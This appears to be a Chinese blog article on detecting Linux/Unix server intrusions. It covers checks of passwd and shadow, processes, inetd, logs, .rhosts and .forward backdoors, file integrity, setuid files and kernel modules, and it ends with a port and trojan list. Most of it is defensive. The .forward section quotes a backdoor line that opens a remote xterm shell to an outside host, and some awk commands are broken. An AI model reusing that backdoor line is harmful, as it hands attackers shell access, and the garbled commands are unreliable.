Linux服务器是否被攻击怎么判断

Linux服务器是否被攻击怎么判断,第1张

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’==0 {print }’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length()==0 {print }’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

与windows是一样的

1 传输控制协议端口服务多路开关选择器

2 compressnet 管理实用程序

3 压缩进程

5 远程作业登录

7 回显(Echo)

9 丢弃

11 在线用户

13 时间

15 netstat

17 每日引用

18 消息发送协议

19 字符发生器

20 文件传输协议(默认数据口)

21 文件传输协议(控制)

22 SSH远程登录协议

23 telnet 终端仿真协议

24 预留给个人用邮件系统

25 smtp 简单邮件发送协议

27 NSW 用户系统现场工程师

29 MSG ICP

31 MSG验证

33 显示支持协议

35 预留给个人打印机服务

37 时间

38 路由访问协议

39 资源定位协议

41 图形

42 WINS 主机名服务

43 "绰号" who is服务

44 MPM(消息处理模块)标志协议

45 消息处理模块

46 消息处理模块(默认发送口)

47 NI FTP

48 数码音频后台服务

49 TACACS登录主机协议

50 远程邮件检查协议

51 IMP(接口信息处理机)逻辑地址维护

52 施乐网络服务系统时间协议

53 域名服务器

54 施乐网络服务系统票据交换

55 ISI图形语言

56 施乐网络服务系统验证

57 预留个人用终端访问

58 施乐网络服务系统邮件

59 预留个人文件服务

60 未定义

61 NI邮件?

62 异步通讯适配器服务

63 WHOIS+

64 通讯接口

65 TACACS数据库服务

66 Oracle SQL*NET

67 引导程序协议服务端

68 引导程序协议客户端

69 小型文件传输协议

70 信息检索协议

71 远程作业服务

72 远程作业服务

73 远程作业服务

74 远程作业服务

75 预留给个人拨出服务

76 分布式外部对象存储

77 预留给个人远程作业输入服务

78 修正TCP

79 Finger(查询远程主机在线用户等信息)

80 全球信息网超文本传输协议(www)

81 HOST2名称服务

82 传输实用程序

83 模块化智能终端ML设备

84 公用追踪设备

85 模块化智能终端ML设备

86 Micro Focus Cobol编程语言

87 预留给个人终端连接

88 Kerberros安全认证系统

89 SU/MIT终端仿真网关

90 DNSIX 安全属性标记图

91 MIT Dover假脱机

92 网络打印协议

93 设备控制协议

94 Tivoli对象调度

95 SUPDUP

96 DIXIE协议规范

97 快速远程虚拟文件协议

98 TAC(东京大学自动计算机)新闻协议

101 usually from sri-nic

102 iso-tsap

103 ISO Mail

104 x400-snd

105 csnet-ns

109 Post Office

110 Pop3 服务器(邮箱发送服务器)

111 portmap 或 sunrpc

113 身份查询

115 sftp

117 path 或 uucp-path

119 新闻服务器

121 BO jammerkillah

123 network time protocol (exp)

135 DCE endpoint resolutionnetbios-ns

137 NetBios-NS

138 NetBios-DGN

139 win98 共享资源端口(NetBios-SSN)

143 IMAP电子邮件

144 NeWS - news

153 sgmp - sgmp

158 PCMAIL

161 snmp - snmp

162 snmp-trap -snmp

170 network PostScript

175 vmnet

194 Irc

315 load

400 vmnet0

443 安全服务

456 Hackers Paradise

500 sytek

512 exec

513 login

514 shell - cmd

515 printer - spooler

517 talk

518 ntalk

520 efs

526 tempo - newdate

530 courier - rpc

531 conference - chat

532 netnews - readnews

533 netwall

540 uucp - uucpd

543 klogin

544 kshell

550 new-rwho - new-who

555 Stealth Spy(Phase)

556 remotefs - rfs_server

600 garcon

666 Attack FTP

750 kerberos - kdc

751 kerberos_master

754 krb_prop

888 erlogin

1001 Silencer 或 WebEx

1010 Doly trojan v1.35

1011 Doly Trojan

1024 NetSpy.698 (YAI)

1025 NetSpy.698

1033 Netspy

1042 Bla1.1

1047 GateCrasher

1080 Wingate

1109 kpop

1243 SubSeven

1245 Vodoo

1269 Maverick s Matrix

1433 Microsoft SQL Server 数据库服务

1492 FTP99CMP (BackOriffice.FTP)

1509 Streaming Server

1524 ingreslock

1600 Shiv

1807 SpySender

1981 ShockRave

1999 Backdoor

2000 黑洞(木马) 默认端口

2001 黑洞(木马) 默认端口

2023 Pass Ripper

2053 knetd

2140 DeepThroat.10 或 Invasor

2283 Rat

2565 Striker

2583 Wincrash2

2801 Phineas

3129 MastersParadise.92

3150 Deep Throat 1.0

3210 SchoolBus

3389 Win2000 远程登陆端口

4000 OICQ Client

4567 FileNail

4950 IcqTrojan

5000 WindowsXP 默认启动的 UPNP 服务

5190 ICQ Query

5321 Firehotcker

5400 BackConstruction1.2 或 BladeRunner

5550 Xtcp

5555 rmt - rmtd

5556 mtb - mtbd

5569 RoboHack

5714 Wincrash3

5742 Wincrash

6400 The Thing

6669 Vampire

6670 Deep Throat

6711 SubSeven

6713 SubSeven

6767 NT Remote Control

6771 Deep Throat 3

6776 SubSeven

6883 DeltaSource

6939 Indoctrination

6969 Gatecrasher.a

7306 网络精灵(木马)

7307 ProcSpy

7308 X Spy

7626 冰河(木马) 默认端口

7789 ICQKiller

8000 OICQ Server

9400 InCommand

9401 InCommand

9402 InCommand

9535 man

9536 w

9537 mantst

9872 Portal of Doom

9875 Portal of Doom

9989 InIkiller

10000 bnews

10001 queue

10002 poker

10167 Portal Of Doom

10607 Coma

11000 Senna Spy Trojans

11223 ProgenicTrojan

12076 Gjamer 或 MSH.104b

12223 Hack?9 KeyLogger

12345 netbus木马 默认端口

12346 netbus木马 默认端口

12631 WhackJob.NB1.7

16969 Priotrity

17300 Kuang2

20000 Millenium II (GrilFriend)

20001 Millenium II (GrilFriend)

20034 NetBus Pro

20331 Bla

21554 GirlFriend 或 Schwindler 1.82

22222 Prosiak

23456 Evil FTP 或 UglyFtp 或 WhackJob

27374 SubSeven

29891 The Unexplained

30029 AOLTrojan

30100 NetSphere

30303 Socket23

30999 Kuang

31337 BackOriffice

31339 NetSpy

31666 BO Whackmole

31787 Hack a tack

33333 Prosiak

33911 Trojan Spirit 2001 a

34324 TN 或 Tiny Telnet Server

40412 TheSpy

40421 MastersParadise.96

40423 Master Paradise.97

47878 BirdSpy2

50766 Fore 或 Schwindler

53001 Remote Shutdown

54320 Back Orifice 2000

54321 SchoolBus 1.6

61466 Telecommando

65000 Devil


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/7372708.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-04
下一篇2023-04-04

发表评论

登录后才能评论

评论列表(0条)

    保存